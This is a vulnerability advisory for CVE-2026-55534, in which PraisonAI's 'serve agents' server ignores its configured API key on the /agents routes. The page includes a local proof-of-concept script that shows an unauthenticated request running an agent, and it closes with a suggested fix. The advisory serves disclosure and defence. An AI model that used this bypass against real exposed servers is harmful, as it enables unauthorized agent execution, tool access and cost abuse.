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Open-source package vulnerability · PyPI

CVE-2026-55534: PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote agent execution

highCVSS 3.1 8.6GHSA-7ww9-85pg-cv4x

Summary PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

Published Aug 25, 2026

Affected packages

PraisonAI

Ecosystem
PyPI
Affected
>= 4.6.34, < 4.6.58
Fixed in
4.6.58
Check
pip show PraisonAI

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

PraisonAI's praisonai serve agents command exposes --api-key as the documented authentication control for production/external deployments, but the configured key is not enforced on the public agent invocation compatibility endpoints.

An operator can start the server with --api-key and bind it to 0.0.0.0, but any network- reachable caller can still invoke agents through POST /agents or POST /agents/ {agent_name} without Authorization, X-API-Key, a query token, or any other credential.

Confirmed vulnerable:

  • v4.6.48 / commit d5f1114aaf1a2e9f121a6e66b929149ca2201f1d
  • v4.6.34 / commit e5928449f73f66cc8af1de61621aa974ab255133

Likely affected range: >= 4.6.34, <= 4.6.48.

This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask api_server.py path before 4.6.34. This report concerns the newer FastAPI serve agents --api-key code path and is confirmed in v4.6.48.

Details

The CLI accepts and forwards an API key:

  • src/praisonai/praisonai/cli/commands/serve.py:156 defines praisonai serve agents
  • src/praisonai/praisonai/cli/commands/serve.py:162 exposes --api-key
  • src/praisonai/praisonai/cli/commands/serve.py:175-176 forwards the supplied key
  • src/praisonai/praisonai/cli/features/serve.py:191 handles the agents subcommand
  • src/praisonai/praisonai/cli/features/serve.py:199 parses api_key into the config

However, _create_agents_app() never uses config["api_key"] to create middleware or a FastAPI auth dependency:

  • src/praisonai/praisonai/cli/features/serve.py:228 creates the FastAPI app
  • src/praisonai/praisonai/cli/features/serve.py:287 registers POST {path} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:346 registers POST /agents/{agent_name} with no auth dependency
  • src/praisonai/praisonai/cli/features/serve.py:356-370 executes the registered agent directly

The same app also mounts praisonai.api.agent_invoke, whose /api/v1/agents/{agent_id}/ invoke route is protected separately by CALL_SERVER_TOKEN. That means the protected / api/v1 route and the unauthenticated /agents compatibility routes coexist in the same server. Setting --api-key does not protect the compatibility routes.

PoC

This local-only PoC does not open a network listener and does not call an LLM provider. It constructs the FastAPI app through the real ServeHandler._create_agents_app() path with api_key set, registers a fake agent, and sends an unauthenticated request using FastAPI TestClient.

  #!/usr/bin/env python3
  from __future__ import annotations

  import sys
  import tempfile
  from pathlib import Path

  REPO = Path("/path/to/PraisonAI")
  sys.path[:0] = [
      str(REPO / "src" / "praisonai"),
      str(REPO / "src" / "praisonai-agents"),
  ]

  class FakeAgent:
      def __init__(self):
          self.calls = []

      def start(self, query):
          self.calls.append(query)
          return f"fake-agent-ran:{query}"

  def main() -> None:
      from fastapi.testclient import TestClient
      from praisonai.cli.features.serve import ServeHandler
      from praisonai.api import agent_invoke

      with tempfile.TemporaryDirectory() as tmp:
          agents_yaml = Path(tmp) / "agents.yaml"
          agents_yaml.write_text(
              "roles:\n"
              "  placeholder:\n"
              "    role: Placeholder\n"
              "    goal: Placeholder\n"
              "    backstory: Placeholder\n",
              encoding="utf-8",
          )

          handler = ServeHandler()
          app = handler._create_agents_app(
              {
                  "file": str(agents_yaml),
                  "host": "0.0.0.0",
                  "port": 8000,
                  "path": "/agents",
                  "reload": False,
                  "api_key": "operator-secret-api-key",
              }
          )

          fake_agent = FakeAgent()
          agent_invoke.register_agent("poc", fake_agent)

          client = TestClient(app)
          response = client.post(
              "/agents/poc",
              json={"query": "unauthenticated request"},
          )

          print(f"STATUS_CODE={response.status_code}")
          print(f"RESPONSE_JSON={response.json()!r}")
          print(f"AGENT_CALLS={fake_agent.calls!r}")
          print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
          request']}")

  if __name__ == "__main__":
      main()

  Run:

  cd /path/to/PraisonAI
  python3 praisonai-serve-agents-api-key-bypass.py

  Observed output:

  STATUS_CODE=200
  RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
  AGENT_CALLS=['unauthenticated request']
  UNAUTHENTICATED_AGENT_EXECUTED=True

  The important condition is that the app was configured with:

  "api_key": "operator-secret-api-key"

  but the request was sent without any auth header:

  client.post("/agents/poc", json={"query": "unauthenticated request"})

  The agent still executed and returned HTTP 200.

  ### Impact

  Any attacker who can reach a praisonai serve agents server can invoke configured agents even
  when the operator explicitly configured --api-key.

  Impact depends on the configured agents and their tools, but can include:

  - unauthorized LLM/API usage and provider cost consumption;
  - execution of agent workflows;
  - access to connected tool integrations;
  - reads/writes through file, database, cloud, browser, MCP, or messaging tools;
  - availability impact from repeated or long-running agent invocations.

  This is especially risky because the documented production pattern recommends using --api-
  key when binding the server publicly.

  ### Suggested fix

  Fail closed when --api-key is configured and require it on every agent invocation route in
  the serve agents app.

  Recommended changes:

  - In _create_agents_app(), derive an auth dependency from config.get("api_key").
  - Apply it to both POST {path} and POST /agents/{agent_name}.
  - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
    compatibility.

  - Use constant-time comparison for the expected key.
  - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
  - Add tests proving:
      - key configured + no header returns 401/403;
      - key configured + wrong header returns 401/403;
      - key configured + correct header executes;
      - both /agents and /agents/{agent_name} are covered.

Credited to huslayer826.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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